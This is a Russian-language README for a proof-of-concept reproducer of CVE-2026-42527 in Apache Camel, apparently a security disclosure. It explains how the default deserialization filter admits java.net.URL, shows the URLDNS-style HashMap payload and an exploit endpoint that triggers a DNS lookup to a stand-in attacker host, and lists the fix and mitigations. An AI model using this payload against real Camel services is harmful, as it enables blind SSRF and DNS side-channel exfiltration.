
Воспроизводитель для CVE-2026-42527 — разрешающий ObjectInputFilter по умолчанию в Apache Camel допускает java.net.URL, что позволяет использовать DNS-основанный внеполосный побочный канал.
Этот проект демонстрирует CVE-2026-42527 в Apache Camel. Шаблон ObjectInputFilter по умолчанию, который несколько компонентов Camel поставляют для защиты от десериализации — java.**;javax.**;org.apache.camel.**;!* — использует рекурсивный глоб java.**, который допускает java.net.URL. Метод java.net.URL.hashCode() выполняет разрешение DNS хоста URL, поэтому десериализация HashMap (или любой коллекции, хеширующей свои элементы), содержащей ключ java.net.URL, заставляет JVM выполнить DNS-запрос к хосту, предоставленному атакующим во время десериализации. Проверка фильтра на уровне класса проходит (результирующий объект — , который находится в белом списке), поэтому ничто не останавливает это — (не RCE).
HashMapКонсультация: https://camel.apache.org/security/CVE-2026-42527.html
| Свойство | Значение |
|---|---|
| Компоненты | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan и агрегирующие репозитории (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Дефект | Фильтр по умолчанию java.**;javax.**;org.apache.camel.**;!* допускает java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (небезопасная десериализация), приводящая к внеполосному раскрытию информации / слепому SSRF через DNS |
| Воздействие | Наблюдаемые атакующим DNS-запросы во время десериализации (побочный канал эксфильтрации данных) |
| Затронутые версии | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Сообщившие | Venkatraman Kumar (Securin) и Yu Bao (PayPal) |
Этот дефект был введен серией укрепления десериализации (CAMEL-23297/23319/23321/23322/23324), которая добавила слишком разрешительный фильтр по умолчанию. CVE-2026-42527 ужесточает его.
Этот PoC использует camel-mina 4.18.2, где MinaConverter.toObjectInput устанавливает фильтр по умолчанию непосредственно на ObjectInputStream, поэтому фильтр является управляющим элементом (чистый контраст между уязвимой и исправленной версиями):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
Глоб java.** допускает java.net.URL. При десериализации HashMap<URL, ...> метод HashMap.readObject() повторно вставляет запись и вычисляет hash(key) → URL.hashCode() → InetAddress.getByName(host) → DNS-запрос к хосту атакующего. Исправление 4.18.3/4.21.0 добавляет запрет в начало:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Теперь java.net.URL отклоняется во время десериализации (InvalidClassException: filter status: REJECTED) до того, как hashCode() когда-либо выполнится — DNS-запрос не происходит.
Наибольшее реальное воздействие оказывает семейство camel-jms, где
JmsBinding.extractBodyFromJmsвызываетObjectMessage.getObject()безусловно, когдаmapJmsMessage=true(по умолчанию). Этот PoC использует camel-mina, потому что он самодостаточен (без брокера) и фильтр находится непосредственно на потоке.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
Метод java.net.URL.hashCode() разрешает хост через резолвер JVM. Чтобы детерминированно и офлайн наблюдать этот запрос, приложение регистрирует настраиваемый java.net.spi.InetAddressResolverProvider (JDK 18+, JEP 418), который записывает любое имя хоста, содержащее маркер атакующего, и отвечает на него заглушкой loopback. Видеть, что хост атакующего достиг резолвера, и есть срабатывание внеполосного побочного канала.
Полезная нагрузка строится с помощью классического трюка ysoserial URLDNS: кэшированное поле hashCode URL предварительно заполняется, так что вставка его в карту на стороне строителя не разрешает хост, затем сбрасывается на -1, чтобы поиск произошел только при десериализации жертвой. (--add-opens java.base/java.net необходим для этого отражения — деталь построения полезной нагрузки, не связанная с уязвимостью.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true означает, что десериализация HashMap<URL> атакующего разрешила хост атакующего — DNS-сервер, контролируемый атакующим, увидел бы этот запрос.
Запустите с ужесточенным фильтром уровня JVM (который toObjectInput учитывает и который соответствует исправлению 4.18.3):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
Любой затронутый потребитель Camel, который десериализует байты, контролируемые атакующим, под фильтром по умолчанию — в первую очередь потребитель camel-jms/sjms/amqp с mapJmsMessage=true, или компоненты mina/netty/vertx-http/infinispan и репозиториев агрегации — где атакующий может доставить HashMap<URL> (или любую хеширующую коллекцию java.net.URL).
deserializationFilter / -Djdk.serialFilter и нет белого списка на стороне провайдера).java.net.URL в хеширующую коллекцию в полезной нагрузке. Не требуется библиотека гаджетов — только стандартные классы JDK.Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372), что изменяет фильтр по умолчанию на запрет java.net.**.
До обновления:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter или общесистемного -Djdk.serialFilter с явным запретом: !java.net.**;java.**;javax.**;org.apache.camel.**;!* (или !java.net.**;java.**;org.apache.camel.**;!* для компонентов репозитория агрегации, которые опускают javax.**).Этот воспроизводитель предоставляется только для исследований безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.